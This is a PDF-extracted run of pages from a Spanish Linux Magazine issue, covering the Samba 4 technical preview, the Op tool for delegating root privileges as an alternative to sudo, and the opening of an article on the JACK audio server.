Page 61: Linux Magazine - Edición en Castellano, Nº 20

Algo que Samba 3 nunca consiguió solucio-

nar fue la sincronización de las bases de datos

de los usuarios con su propia base de datos

Samba (véase el cuadro titulado

“Samba4WINS” para más detalles). Como

OpenLDAP puede replicar su base de datos en

otros servidores del mismo tipo, los desarrolla-

dores de Samba 3 simplemente eliminaron

esta posibilidad. Sin embargo, la

configuración de un servidor OpenLDAP es de

todo menos trivial. El equipo de Samba 4,

liderado por Andrew Tridgell, valoró la carga

tecnológica e implementó su propio servidor

LDAP conocido como LDB.

Otra razón importante por la que Samba

implementa su propia solución LDAP es para

librarse de los problemas con las replicacio-

nes. Por ejemplo, los desarrolladores querían

migrar los cambios por las máquinas implica-

das para eliminar cualquier peligro de

inconsistencia en las replicaciones. Parece

como si Samba 4 fuera a retener la habilidad

de ligarse a OpenLDAP, principalmente para

soportar los entornos establecidos con servi-

dores Samba 3.

CIFS, NTFS y Posix ACLsNunca ha sido el objetivo de Samba la restric-

ción del soporte a entornos heterogéneos; al

contrario, Samba siempre ha jugado un rol

importante en el dominio NFS, soportando el

intercambio de datos entre los sistemas Unix y

Linux, hasta el punto de competir con NFS 4,

que no está completamente desarrollado. Esto

se ha puesto en evidencia gracias a los módu-

los del kernel CIFS, donde el trabajo de

desarrollo ha continuado de versión en ver-

sión. Tómense las características

experimentales de CIFS, por ejemplo, que

soporta Kerberos desde la versión 2.6.16. Esto

fue un importante retroceso en comparación

con Windows SMB, que permitía a los usua-

rios montar los recursos compartidos usando

firmas simples con la opción -o krb.

En lo que se refiere a la gestión de acceso,

Samba ha sido capaz de asignar Posix ACLs a

NTFS ACLs y viceversa. De nuevo, la versión

4 toma una solución diferente y en vez de

almacenar las ACLs NT en el sistema de fiche-

ros Posix, presenta un sistema de ficheros

virtual, conocido como NTVFS, para almace-

nar los atributos NTFS tal cual. Es incluso

capaz de emular ACLs en flujos de datos

NTFS. ADS (Alternate Data Streams) es una

función del sistema de ficheros NTFS, que

permite a los usuarios almacenar datos alter-

nos invisibles para un fichero. Las políticas de

grupos es otro de los temas a debate; en el

Samba 4 • ADMINISTRACIÓN

61Número 20W W W . L I N U X - M A G A Z I N E . E S

Figura 2: Se añade con éxito un Windows

2003 Server como Member Server a un

dominio de Samba 4.

El servicio de nombres de Internet de

Windows (WINS) se remonta a los días

de NT4. Incluso los sistemas Windows

más recientes utilizan el protocolo WINS

para resolver los nombres NetBIOS.

Cuando se asocia un recurso compar-

tido, el nombre NetBIOS puede utilizarse

después de la primera barra o barras (\\).

Samba ha estado dando soporte a Net-

BIOS, ya que ésta es la forma de permitir

la interoperabilidad entre los servidores.

Samba 4 no ha realizado ningún cambio

significativo respecto a esto.

El problema está en que los servidores

WINS basados en Samba no soportan la

replicación, dejando a los administrado-

res sin otra alternativa que gastarse el

dinero en servidores WINS sobre Win-

dows. El proyecto de cooperación

Samba4WINS [3] intenta cambiar esta

situación. Las empresas involucradas

son Sernet, Computacenter y Fujitsu Sie-

mens. Samba4WINS estará

perfectamente integrada con Samba 4.

Esta funcionalidad puede ser integrada

en la versión 3.0.21 o posteriores de

Samba y se ejecuta como un proceso

independiente.

Samba4WINS

01 # Global parameters

02 [global]

03 server role = pdc

04 workgroup = TESTDOMAIN

05 realm = TESTDOMAIN.ORG

06 netbios name = LINUX

07 log level = 2

08 registry:hkey_users = hku.,ldb

09 registry:hkey_local_machine =

hklm.ldb

10 comment =

11 path =

12 ntvfs handler =

unixuid,default

13 read only = Yes

14 hosts allow =

15 hosts deny =

16 max connections = -1

17 strict sync = No

18 case insensitive filesystem = No

19 max print jobs = 1000

20 printable = No

21 printer name =

22 map system = No

23 map hidden = No

24 map archive = Yes

25 browseable = Yes

26 csc policy = manual

27 strict locking = Yes

28 copy =

29 include =

30 available = Yes

31 volume =

32 fstype = NTFS

33 msdfs root = No

34

35 [data]

36 path = /export/data

37 read only = No

38 hosts allow =

39 hosts deny =

40

41 [IPC$]

42 comment = IPC Service (Samba

4.0.0tp1)

43 path = /tmp

44 ntvfs handler = default

45 hosts allow =

46 hosts deny =

47 browseable = No

48 fstype = IPC

49

50 [ADMIN$]

51 comment = DISK Service (Samba

4.0.0tp1)

52 path = /tmp

53 hosts allow =

54 hosts deny =

55 browseable = No

56 fstype = DISK

Listado 1: smb.conf

Page 62: Linux Magazine - Edición en Castellano, Nº 20

Según el equipo de desarrollo de Samba, la

versión 4.0.0tp1 es capaz de reemplazar a un

PDC. Después de añadir las entradas DNS, no

hay nada que le impida añadir una máquina

Windows al dominio Samba. En nuestro labo-

ratorio, añadimos un Windows 2003 Server

como un servidor miembro. Tras especificar el

dominio e indicarle que la máquina se aña-

diera al dominio, Windows 2003 parecía

sentirse como en casa (véase la Figura 2).

Revisión de SWAT

Los gestores del sistema han sido mejorados y

se han extendido considerablemente. Tras

añadir algunas características nuevas como

Kerberos y LDAP, el equipo de Samba ha dado

algunos pasos para hacer que la vida de los

administradores de sistemas sea más sencilla.

La famosa herramienta, pero apenas utilizada,

SWAT ha renacido en la versión 4: el interfaz

basado en el navegador es ahora una parte

integral de la suite de Samba. Tan pronto

como se haya ejecutado el servidor Samba, un

servidor web compacto de Appweb [5] pro-

porciona la plataforma para SWAT. Esto

elimina la necesidad de instalar SWAT, al con-

trario que en las versiones previas;

simplemente se puede navegar por la herra-

mienta con un navegador de Internet tras

ejecutar el servidor SWAT.

SWAT todavía carece de algunas caracterís-

ticas para ser una interfaz administrativa

completa. Pero definitivamente está preparada

para mostrar que Samba 4 está cumpliendo su

rol de PDC. El usuario por defecto es Adminis-

trator, que se espera que acceda desde un

cliente Windows. Aunque SWAT proporciona

la posibilidad de añadir otro usuario.

Como alternativa, puede que se desee pro-

bar alguna de las numerosas herramientas de

consola: como ldbadd. Téngase en cuenta que

momento de escribir este artículo, no se sabe

cómo lo abordará Samba 4.

Prueba con ControladorDominio PrimarioTras descomprimir el código fuente de

Samba 4.0.0tp1, que se encuentra disponi-

ble en [4], debería buscarse el fichero

howto.txt en el directorio del proyecto; el

fichero contiene algunas notas interesantes.

Tras completar la compilación, primero hay

que preparar la base de datos. La herra-

mienta provision se encarga de esta tarea,

creando la base de datos LDAP, el registro y

las entradas predefinidas para acceder al

LDB y al servidor DNS de servicios de Ker-

beros (véase la Figura 1). Aún habrá que

añadir manualmente algunas entradas de

zonas al servidor DNS. La herramienta

equivalente a provision en Windows se

denomina dcpromo.

Provision también creará un fichero

smb.conf mínimo. Si se le pasa el prefijo

/usr con el script de configuración, una vez

haya finalizado, podrá encontrarse el

fichero de configuración en /usr/lib. Para

mayor control se puede conmutar el servi-

dor Samba a modo interactivo

introduciendo smbd -i -M single; con este

comando se obtienen mensajes en stdout.

Samba 4 soporta tres modos de proceso: se

puede ejecutar como un único proceso, en

modo hilo o como una variante multipro-

ceso. Una vez que el servidor se esté

ejecutando y se haya establecido un

recurso compartido de prueba, testparm

debería proporcionar algo parecido a las

líneas que aparecen en el Listado 1.

ADMINISTRACIÓN • Samba 4

62 Número 20 W W W . L I N U X - M A G A Z I N E . E S

Figura 3: Swat permite establecer un usuario codificado como LDIF; las herramientas de con-

sola proporcionan la misma posibilidad.

Figura 4: La herramienta de consola ldbsearch busca a un usuario.

Page 63: Linux Magazine - Edición en Castellano, Nº 20

ldbadd requiere un usuario codificado en

LDIF. Como SWAT no es capaz de manejarlo,

la Figura 3 muestra cómo se añade un usuario

al dominio. La primera vez que este usuario se

conecte al sistema, el registro de Samba reque-

rirá que se cambie la contraseña. SWAT no

soporta políticas de contraseñas en el

momento de escribir este artículo.

Suponiendo que la conexión funcione, las

credenciales del usuario se almacenarán de

forma segura en la base de datos LDB de

Samba. Si se desea comprobar las entradas de

la base de datos o modificarlas, se pueden eje-

cutar la herramientas de consola ldbedit o

ldbsearch. La primera abre la base de datos en

un editor de texto, donde se puede buscar la

entrada del usuario y modificarla si fuera

necesario. La Figura 4 muestra el uso de ldbse-

arch.

Samba 3 poseía la habilidad, bastante útil,

de ser capaz de aceptar un dominio migrado

de un servidor Windows NT y, desde luego,

Samba 4 también puede hacerlo. (Además,

los administradores pueden migrar los domi-

nios de Samba 3 a Samba 4 con SWAT). Este

modo “Vampiro” ya no está solamente restrin-

gido a Windows NT sino que también

funciona con Windows 2000/2003 Server. En

la Figura 5 puede verse cómo hemos migrado

un dominio Windows 2003. Si se desea estar

seguro de que todo ha funcionado, se puede

buscar a un usuario en la base de datos LDB

de Samba para confirmar que el usuario ha

sobrevivido a la migración al nuevo dominio.

La ConfiguraciónLa edición de un fichero de configuración es

un método de prueba y confianza. En Samba

ha crecido notablemente el número de opcio-

nes de los ficheros de configuración. Al

mismo tiempo, han sido eliminadas algunas

de las opciones de Samba 3. No está claro

cuáles son las opciones que han desapare-

cido, ya que algunas de ellas están aún

siendo reprogramadas debido a que ocasio-

naban problemas con las operaciones del

modo de interoperabilidad.

Nuevas palabras reservadas describen el

estado y el comportramiento del KDC,

kpasswd port o krb5 port, por ejemplo. La

opción paranoid server security define un

nivel de seguridad, donde ntvfs handler espe-

cifica cómo debe comportarse la capa

NTVFS.

Por defecto tiene ntvfs = unix-uid, que

sincroniza las operaciones de ficheros con el

sistema de ficheros Posix subyacente.

La opción ntvfs = cifs permite ejecutar

un servidor Samba como una puerta de

enlace CIFS, la cual reenvía las peticiones

de ficheros a otro servidor CIFS. Si la puerta

de enlace es un servidor de miembros de

dominios, podrá redirigir las peticiones de

tickets de los usuarios o servicios:

[extdata]

ntvfs handler = cifs

cifs:server = nextserver

cifs:share = shared

No hay muchos back-ends disponibles para

NTVFS en el momento de escribir este artí-

culo. Además del que he mencionado, el

código fuente tiene una opción simple, sin

embargo, la opción realiza operaciones de

ficheros con los privilegios del root, lo que

la hace poco útil. Si se necesita más infor-

mación sobre las opciones de samba.conf,

véase el código fuente de

source/param/loadparm.c.

Déjalo SoloA pesar de todo, parece que Samba 4 se

está librando de las sogas que lo atan a su

herencia. Además de LDAP y Kerberos, el

software puede manejar ACLs más allá de

Posix y posee su propio emulador de Servi-

dor de Directorio Activo. Samba4WINS

proporciona servicios de replicación para

servidores WINS. Hay tres modelos para

mejorar la escalabilidad: proceso único,

múltiples procesos como en Samba 3 o una

variante basada en hilos.

El “Technical Preview” que hemos leído

nos dio la impresión de que parecía una

plataforma de prueba de nuevas

tecnologías. No posee todo el rango de

características que se necesitaría para un

sistema en producción, por ejemplo, ya que

el soporte de impresión no está disponible.

Los desarrolladores no recomiendan la

instalación de Samba 4 en entornos de

producción hasta que ellos no hayan

concluido su trabajo. Una nota de prensa

indica que esto no sucederá como mínimo

hasta pasado el verano.

La versión 4 no es lo único que tiene a

los desarrolladores de este proyecto ocu-

pados; también está la cuestión de la

versión SMB2 no documentada de Win-

dows Vista, que tiene un diseño

completamente nuevo. Si el caso antimo-

nopolios de la UE contra Microsoft falla a

la hora de obligar a la compañía a publi-

car los interfaces, el equipo de Samba

estará encantado de volver a sus antiguas

usanzas, espiando las transferencias de

ficheros con Ethereal. �

Samba 4 • ADMINISTRACIÓN

63Número 20W W W . L I N U X - M A G A Z I N E . E S

Figura 5: Swat tras realizar una migración con éxito de un dominio Windows 2003.

[1] Samba: http://samba.org

[2] Directorio Activo: http://www.

microsoft.com/technet/prodtechnol/

windows2000serv/technologies/

activedirectory/default.mspx

[3] Samba4WINS: http://

EnterpriseSamba.org/index.

php?id=88

[4] Samba 4.0.0tp1: http://devel.samba.

org/samba/ftp/samba4/

[5] Servidor Web Appweb: http://www.

appwebserver.org

RECURSOS

Page 64: Linux Magazine - Edición en Castellano, Nº 20

Linux es un sistema multiusuario en el

que el acceso a la cuenta privilegiada de

root está bien protegido en muchas

máquinas. Los privilegios de los usuarios nor-

males a menudo son insuficientes para

montar un CD o una memoria USB. Algunas

distribuciones incluso requieren de los privile-

gios de root para el acceso a Internet.

Si el usuario principal es también el admi-

nistrador, algo normal en la mayoría de los

PCs, tan sólo hay que teclear su e introducir la

contraseña de root para obtener los privilegios

requeridos, pero una vez obtenidos dichos pri-

vilegios como root con su, todos los

comandos siguientes tendrán la potencia del

superusuario, y si se está trabajando simple-

mente como root cualquier pequeño error

puede tener efectos devastadores.

Una solución a este problema es un escena-

rio en el que el usuario asume solamente unos

cuantos privilegios de root especificados por el

administrador. Por ejemplo, se le puede per-

mitir montar una memoria USB sin tener que

acceder a otros comandos específicos de root.

La herramienta sudo es el medio normal

para asignar privilegios administrativos a los

usuarios sin tener que darle la contraseña de

root, pero una herramienta alternativa deno-

minada Op hace que este proceso sea más

sencillo tanto para el administrador como para

el usuario.

Sudo: El Legado de unaHerramientaEl comando sudo [2] proporciona una solu-

ción al problema, permitiendo que los

usuarios normales puedan ejecutar determi-

nados comandos de root especificados por el

administrador.

Algunas distribuciones Linux (por ejemplo,

Ubuntu y Knoppix) utilizan actualmente

sudo para hacer que el usuario estándar sea el

administrador, añadiendo una entrada de la

forma nombre_de_usuario ALL = (root) al

fichero de configuración /etc/sudoers.

En este caso, cualquier usuario puede

ejecutar arbitrariamente comandos como root

tecleando la palabra sudo delante de la

sintaxis del comando; por ejemplo, el

comando sudo killall -9 comando matará

todos los procesos denominados comando.

Cuando se introduce una instrucción de este

tipo, sudo solicita que el usuario teclee su

propia contraseña antes de ejecutar el

comando con los privilegios de root.

Sudo puede ser útil si se desea una solución

más versátil para especificar quién tiene per-

miso para ejecutar ciertos programas.

Imaginemos que se quiera asignar a un usua-

rio llamado abc el permiso para ejecutar el

comando tail -f /var/log/messages; sólo hay

que añadir la siguiente línea al fichero

/etc/sudoers:

abc ALL = (root) /usr/bin/tail U

-f /var/log/messages

por supuesto, el usuario tendrá que teclear el

comando exactamente tal y como se muestra

aquí, aunque sudo no presentará ningún pro-

blema si el comando contiene unos cuantos

espacios en blanco. Pero si no se pone el pará-

metro -f, se cambia el orden, y se podrá ver el

siguiente mensaje de error:

[abc@kira ~]$ sudoU

/usr/bin/tailU

/var/log/messages -f

Sorry, user abc isU

not allowed to

execute ‘/usr/bin/tail /var/log/

messages -f’ as root on kira.

Con la sintaxis correcta no hay ningún pro-

blema:

[abc@kira ~]$ sudoU

/usr/bin/tailU

-f /var/log/messages

Mar 31 14:13:39 kira — MARK —

Mar 31 14:33:39 kira — MARK —

[...]

Los usuarios con privilegios sudo deben

recordar la sintaxis exacta de cada

comando que estén autorizados a

ADMINISTRACIÓN • Op

64 Número 20 W W W . L I N U X - M A G A Z I N E . E S

Asignación de Privilegios Root con Op

ROOT SIMPLELa versátil utilidad Op es una herramienta sencilla para la gestión de los

privilegios de los usuarios. POR HANS-GEORG ESSER

Page 65: Linux Magazine - Edición en Castellano, Nº 20

ejecutar, o pueden teclear sudo -l para

comprobar sus opciones:

[abc@kira ~]$ sudo -l

User abc may run the following U

commands on this host:

(root) /usr/bin/tail -f U

/var/log/messages

Cada llamada incorrecta a sudo genera

una entrada en el registro, y en algunas

máquinas enviará un correo al adminis-

trador del sistema.

La Alternativa OpLa herramienta Op es una alternativa a

sudo poco conocida, con el beneficio

añadido de simplificar la configuración,

que presenta una solución más intuitiva

para ejecutar comandos. Todo lo que se

necesita para los comandos simples es

una única línea: la sintaxis general de

una entrada del fichero de configuración

de Op es la siguiente:

nuevo_comando comando; opciones

Por ejemplo, si se desea que el usuario

abc pueda apagar la máquina ejecutando

el comando halt, la siguiente línea se

encargará de ello:

halt /sbin/halt; users=abc

Si se desea que el

usuario tenga que

teclear su propia

contraseña para

autorizar la ejecu-

ción del comando

(siguiendo la solu-

ción tradicional de

sudo), tan sólo hay

que añadir la opción

password a la línea:

halt /sbin/halt;

users=abc U

password

Esto permite que

pueda configurarse

Op para las tareas críticas en cuestión de

minutos. Téngase en cuenta que hay que

especificar la ruta completa de los coman-

dos en cuestión (por ejemplo, /sbin/halt en

vez de halt en nuestro ejemplo). El usuario

abc puede teclear op halt en el intérprete de

comandos para apagar el PC.

Compilando la HerramientaHay que seguir los pasos estándar para

compilar Op; no hay que olvidar pasarle las

dos opciones siguientes a configure:

./configure U

—prefix=/usr U

—sysconfdir=/etc

make

make install

Sin la opción prefix se

instalará en /usr/local; y

sin la opción —sysconf-

dir, buscará los ficheros

de configuración en

$PREFIX/etc/.

En nuestro laboratorio

no tuvimos ningún pro-

blema instalando la

versión actual (1.32) de

Op en una máquina Suse

Linux 9.3; en Debian

Sarge hay que ejecutar

apt-get install flex antes

que make.

EjemplosPara crear un directorio

de configuración para Op

se teclea mkdir -p

/etc/op.d, luego se crea el

fichero de ejemplo

/etc/op.d/log.conf, tal y como se muestra en

el Listado 1, y con el comando chmod 600

/etc/op.d/log.conf se modifican los privile-

gios. El acceso de lectura y escritura de este

fichero está restringido al usuario root. Si se

nos olvidara la ejecución de chmod, el pro-

grama no funcionaría (y mostraría además

un confuso mensaje de error indicando que

no puede encontrar el fichero de

configuración).

Las dos líneas en el Listado 1 crean dos

comandos nuevos, messages y syslog. El lis-

tado especifica la ruta completa de cat,

/bin/cat, ya que Op no será capaz de

encontrar la herramienta si no se le propor-

ciona la ruta completa.

Scripts OpUna de las características más útiles es la

posibilidad de añadir scripts de la línea de

comandos al fichero de configuración. El

Listado 2 muestra un ejemplo que define el

comando Op, log, que permite leer los

ficheros /var/log/messages y /var/log/syslog

a los usuarios autorizados. Los scripts

pueden analizar y evaluar los argumentos;

al igual que los scripts normales y

corrientes, utilizan variables de entorno $1,

$2 … para esta tarea. El segundo comando

del Listado 2, apache, permite a un usuario

ejecutar y parar los servicios de Apache. El

Op • ADMINISTRACIÓN

65Número 20W W W . L I N U X - M A G A Z I N E . E S

Figura 1: El sitio web de Sudo contiene información detallada de la

configuración.

Figura 2: El sitio web de Op proporciona amplia información de la

configuración.

01 messages /bin/cat

/var/log/messages; users=abc

02 syslog /bin/cat

/var/log/syslog; users=abc

Listado 1: Comienzo con Op

Page 66: Linux Magazine - Edición en Castellano, Nº 20

Usuarios ExternosEs fácil verificar que Op sólo permite a

los usuarios especificados en users = la

ejecución de los comandos privilegiados;

para ello, se puede ejecutar el comando

como el usuario nobody:

amd64:# su - nobody

nobody@amd64:~> op -l

nobody@amd64:~> op log messages

log: permission denied by op

El listado de comandos Op permitidos

para el usuario nobody está vacío y la

herramienta presenta un mensaje de

aviso cuando éste usuario intenta ver

los ficheros de registro, generando una

entrada en el fichero de registro

/var/log/auth.log o en /var/log/messa-

ges:

Feb 8 14:56:52 amd64 op[4716]:

nobody log messages: Both user,

group and netgroupU

authentication failed

Grupos de UsuariosAl igual que sudo, Op puede agrupar

múltiples usuarios y luego autorizarles o

revocarles privilegios. Supongamos que

se tienen tres usuarios, abc, def y ghi, y

se quiere que realicen varias tareas en el

sistema; pueden añadirse estos usuarios

a un grupo ADMINS con una entrada

como la siguiente:

ADMINS=(abc|def|ghi)

Para todos los atajos de comandos que

se quieran asignar a estos usuarios, tan

sólo hay que especificar users =

ADMINS. Si se necesita posteriormente

añadir un cuarto administrador, jkl, al

grupo o definir un nuevo comando para

el grupo, sólo habrá que modificar una

línea del fichero de configuración.

Más CaracterísticasOp puede gestionar múltiples máquinas

(referenciando los nombres de las

máquinas), permitiendo a los adminis-

tradores configurar el comportamiento

de varios ordenadores en un fichero de

configuración Op central.

Op posee particularmente la versátil

característica de pasar las variables de

entorno a los programas que ejecuta

con los privilegios de root. Si no se

especifica ningún otro parámetro, Op

borra todas las variables de entorno

antes de ejecutar un comando.

La opción environment lo impide y

pasa todas las variables. Como alterna-

tiva, se pueden especificar

manualmente un conjunto de variables

que se deseen mantener añadiendo sus

nombres de la forma $Nombre (con el

signo de dólar como prefijo). El Listado

3 proporciona un ejemplo del uso de

estas variables.

El comando test simplemente llama al

programa env, que muestra un listado

de todas las variables de entorno.

ConclusionesOp es una herramienta potente con fun-

ciones similares a sudo, pero con una

configuración más sencilla y con un uso

más intuitivo que hace que la vida de

los administradores y de los usuarios

sea más fácil, incluso si ambos son la

misma persona. �

script para el comando log define la

variable $TERM para permitir el

funcionamiento del comando less.

Las nuevas definiciones de comandos

hay que almacenarlas en /etc/op.d/ (de

nuevo, el acceso de lectura debe estar

restringido sólo al usuario root); como

alternativa, pueden almacenarse todas

las definiciones de comandos en un

único fichero.

El parámetro -l de Op muestra los

comandos que se pueden ejecutar, el

programa esconde estos comandos al

resto de los usuarios. El script captura

los errores de entrada y le indica al usua-

rio que sólo puede ver los ficheros de

registro messages y syslog:

abc@amd64:~> op -l

apache Start and stop Apache

log View logfiles (messages U

and syslog only)

abc@amd64:~> op log security

op: You are notU

allowed to view U

the ‘security’ logfile

Los scripts Op son una ventaja que este

programa tiene sobre sudo: para obtener

los mismos resultados, se necesitaría

escribir un script, almacenarlo en el sis-

tema de ficheros (por ejemplo, en

/usr/local/bin) y luego darle permisos a

los usuarios para que puedan ejecutar el

script en /etc/sudoers. Si se producen cam-

bios habría que modificar ambos scripts y

el fichero de configuración de sudo.

ADMINISTRACIÓN • Op

66 Número 20 W W W . L I N U X - M A G A Z I N E . E S

01 test /usr/bin/env;

02 users=abc

03 $LANG $TERM $SHELL $PATH

Listado 3: Op con Variables

[1] Sitio Web de Op: http://svn.swapoff.

org/op/

[2] Sitio Web de Sudo: http://www.sudo.

ws/sudo/

RECURSOS

01 log /bin/sh -c ‘

02 export TERM=xterm

03 case $1 in

04 messages) less /var/log/messages ;;

05 syslog) less /var/log/syslog ;;

06 *) echo “op: You are not allowed to read the logfile \’$1\’” ;;

07 esac

08 ‘;

09 users=abc

10 help=”View logfiles (messages and syslog only)”

11

12 apache /bin/sh -c ‘

13 case $1 in

14 start|stop) /etc/init.d/apache $1 ;;

15 *) echo “op: apache only understands start and stop” ;;

16 esac

17 ‘;

18 users=abc

19 help=”Start and stop the Apache server”

Listado 2: Arranque y Parada de Apache

Page 67: Linux Magazine - Edición en Castellano, Nº 20

6767ISSUE 52 MARCH 2005W W W . L I N U X - M A G A Z I N E . C O M

Bienvenidos a Linux UserEsta es la sección dedicada a la presentación de software interesante y útil que nos ayuda en nuestro quehacer diario con

el escritorio Linux. Aquí aprenderemos a utilizar software estándar de una manera más eficiente, adquiriremos valiosos

conocimientos y descubriremos nuevas y apasionantes aplicaciones.

Audio con JACK 68

El servidor de audio JACK ofrece una alternativa profe-sional para el sonido del escritorio Linux. Enseñamos aconfigurarlo y cómo sacarle todo su partido

Desktopia: Xrmap 74

Si deseas llegar a convertirte en un experto en geografíamundial, descarga Xrmap y navega por el libro de datosde la CIA.

Banshee 76

En la mitología celta, las llamadas de duelo del Bansheese oyen cuando un miembro de la familia está próximoa morir. La herramienta Banshee de Linux tambiénhace ruido, pero afortunadamente mucho más alegre.Este otro Banshee te ayuda a organizar (y reproducir)tu colección de música.

Educación: La traducción del software libre 79

En la primera entrega de esta serie hemos hablado de latecnología gettext; ahora es el momento de resumir susventajas pero también de señalar sus defectos. Quétriste sería el artículo si no pudiéramos hablar tambiénde las soluciones, de las alternativas…

Línea de comandos: Rsync 84

Rsync permite sincronizar datos tanto en un ordenadorlocal como en uno remoto. Incluso puede ser usado conSSH para la encriptación de datos.

Juegos: Cold War 86

El género del sigilo se estrena en nuestra plataformalinux y lo hace realmente a lo grande y desde la antiguaRusia damos la bienvenida a Cold War.

Page 68: Linux Magazine - Edición en Castellano, Nº 20

aplicaciones favoritas de KDE o

GNOME incluyen rutinas para el

acceso de esos servicios a través de

la interfaz de programación de la

aplicación X. Los programadores

pueden programar para el hardware

a través de una API general en lugar

de tener que escribir código para el

hardware directamente. Por

desgracia, el sonido del escritorio

Linux carece de una solución

estandarizada única que sirva para

todo el sistema de recursos de audio.

En su lugar han aparecido un gran

número de soluciones, incluyendo

sistemas como JACK, NAS, artds y

esd.

Al poner en marcha el sistema de

sonido, para oír un CD, DVD o gra-

baciones sencillas, las exigencias de

un servidor de audio son relativa-

mente poco importantes. La

administración de algunos flujos de

audio en este nivel no requiere una

sincronización de prueba apropiada,

ni tampoco necesita un sistema de

cliente altamente flexible. La mayo-

ría de los usuarios simplemente

quieren que les permita grabar audio

sin que se bloqueen otros flujos de

audio. Artsd y esd son servidores de

sonido diseñados para encontrar

estos requerimientos para los escri-

torios KDE y GNOME. NAS (Network

Audio System) es un sistema de red

amigable alternativo de distribución

de audio cliente/servidor que pre-

tende servir como un equivalente de

audio de un servidor X. Dentro de

sus límites, Artsd, esd y NAS son efi-

caces. Sin embargo, ninguno de

estos servidores proporcionan flujos

de datos de audio múltiples de E/S

sincronizada de prueba apropiada ni

fueron diseñados para trabajar den-

tro de sistemas de bajo estado

latente. Si nuestro audio requiere de

estas altas capacacidades, será pre-

ciso adentrarse dentro del dominio

de los sistemas de audio profesiona-

les, por lo que es el momento idóneo

para conocer JACK.

Introducción a JACK

El desarrollador Paul Davis ha

creado una de las más destacadas

piezas de software de audio de

código abierto, el kit de Conexión de

68

LINUX USER • Jack

68 Número 20 W W W . L I N U X - M A G A Z I N E . E S

La mayoría de los usuarios

Linux saben que un servidor

ofrece servicios, ya sea en

una sola máquina o en una red. El

propósito de un servidor es eliminar

la necesidad de acceder directa-

mente a esos servicios a nivel de

aplicación. Por ejemplo, un servidor

X administra los accesos y controla

los servicios de vídeo de los chipsets

gráficos del ordenador, quitando un

peso de encima a los desarrolladores

de la aplicación a nivel de usuario,

que se evitan tener que programar

para aquellos servicios directa-

mente.

Un servidor de audio administra el

acceso a las capacidades y servicios

de los dispositivos de audio instala-

dos. Estos dispositivos de audio

incluyen tarjetas de sonido, chips de

audio internos, así como cualquier

otro hardware de audio (tales como

hardware de telefonía, tarjetas A/V

combinadas, televisión y tarjetas de

radio).

El escritorio gráfico de Linux

depende de X para sus gráficos y

servicios de vídeo. Es decir, sus

Exploración del sistema de servidor de sonido JACK

¿CONOCES A JACK?Exploración del sistema de servidor de sonido JACK

¿CONOCES A JACK?

El servidor de audio JACK ofrece una alternativa profesional para el

sonido del escritorio Linux. POR DAVE PHILLIPS

Page 69: Linux Magazine - Edición en Castellano, Nº 20

69

Jack • LINUX USER

69Número 20W W W . L I N U X - M A G A Z I N E . E S

Audio de Jack, mejor conocido como

JACK. Este programa está

especialmente diseñado para

sistemas configurados para baja

latencia y alta demanda. Los

sistemas de grabación de audio

profesionales no pueden

proporcionar retrasos audibles ni

caídas (conocidas como xruns), se

les exige que soporten operaciones

sincrónicas de clientes múltiples en

un entorno de baja latencia.

JACK viene con diversas caracte-

rísticas como:

• soporte para cualquier disposi-

tivo de sonido compatible ALSA

• soporte para una gran variedad

de programas de fondo de siste-

mas de audio (ALSA; O~/Linux,

Port-Audio, CoreAudio)

• conectividd libre entre clientes,

sin retrasos ni caídas

• soporte para un sistema de con-

trol de transporte maestro

Una de las tareas principales de

JACK es la administración de flujos

múltiples de datos de audio, que

pasa por una variedad de aplicacio-

nes con E/S sincronizada. Este

programa requiere un sistema de

audio, no se trata de un sustituto de

un sistema de audio como ALSA o

OSS/Linux. JACK no proporciona

drivers para tarjetas de sonido ni

tampoco acceso al hardware directa-

mente. En vez de eso, depende de

una capa de audio de bajo nivel para

manipular esa comunicación, que en

Linux no es más que ALSA o OSS. A

JACK no le preocupa el hardware

subyacente o primordial, única-

mente quiere administrar los flujos

que entran y salen de sus dispositi-

vos.

Compilación eInstalación de JACKJACK está disponible como un

paquete básico en los sistemas opti-

mizados para audio como AGNULA/

Demudi y Planet CCRMA. En su

página web también se encuentra

disponible una tarball de las fuentes

de la última edición pública. Esta

página proporciona además instruc-

ciones para compilar JACK desde

fuentes CVS para los que desean

probar la versión de

desarrollo más

reciente. Para su

compilación no se

necesitan requeri-

mientos especiales

más allá de la libre-

ría E/S del fichero de audio

libsndfile de Erik de Castro Lopo.

Según el FAQ de JACK se debe dis-

poner del kernel de Linux más

reciente (2.4 ó superior) con el sis-

tema de fichero tmpfs conectado.

Las distribuciones más modernas

dispondrán de este sistema de fiche-

ros por defecto, pero puedes

comprobarlo ejecutando cat /proc/

filesystems. El FAQ también dice que

debe montarse un sistema de fiche-

ros de memoria compartida en /dev/

shm, aconsejando que se añada la

siguiente línea a /etc/fstab:

shmfs /dev/shm shm ~~

defaults 0 0

Además, la FAQ avisa de que puede

que uno mismo tenga que crear el

directorio /dev/shm.

Tras desempaquetar las fuentes, sim-

plemente hay que introducirse en el

nuevo directorio JACK, leer el

README para actualizarse con las ins-

trucciones e invocar ./configure —help

para ver las opciones de configuración

disponibles. JACK se compila con las

utilidades de autotools con las que

todo buen usuario de Linux debería

estar familiarizado, así que para la

mayoría de los usuarios el proceso de

compilación es tan fácil como el de

ejecución de ./configure [aquí tus

opciones];make;make install.

La instalación de JACK desde un

RPM u otro paquete tampoco

Figura 1: Control de JACK desde QjackCtl.

La industria de audio distingue entre dis-

positivos de audio profesionales y de

consumo. Los dispositivos de consumo

incluyen interfaces de audio PCI y USB,

chipsets internos integrados para orde-

nadores de sobremesa y el soporte de

sonido para portátiles, y hardware más

avanzado como las tarjetas SB Live! de

Creative y Audigy. Estos dispositivos

normalmente proporcionan canales

para un control de volumen principal,

salida de audio PCM y CD, y entradas

para micrófonos y señales de nivel de

línea. El volumen maestro, CD, mic, y los

canales de línea no requieren ninguna

explicación. El canal PCM es un canal de

reproducción de audio digital general

que ofrece control de volumen para pro-

gramas que reproducen WAV, AIFF,

OGG, MP3 y otros tipos de ficheros de

sonido.

Dependiendo del chip de audio, estos

servicios básicos se expanden para

incluir canales para salida de sintetizador

interno, conexiones de audio digitales,

canales de sonido circundantes y contro-

les de tono ba~/treble. Los mezcladores

basados en software, como alsamixer,

llaman al hardware de audio para anali-

zar sus capacidades y configuran el

mezclador para presentar los canales y

botones disponibles. Es decir, el chip de

audio CS4232 de mi portátil, soporta

poco más que los servicios básicos,

mientras que el SBLive de mi máquina

de sobremesa proporciona una abanico

de funcionalidades mucho mayor.

Las tarjetas de audio profesionales, tales

como RME Hammerfall o las tarjetas M-

Audio Delta, se diseñan para satisfacer

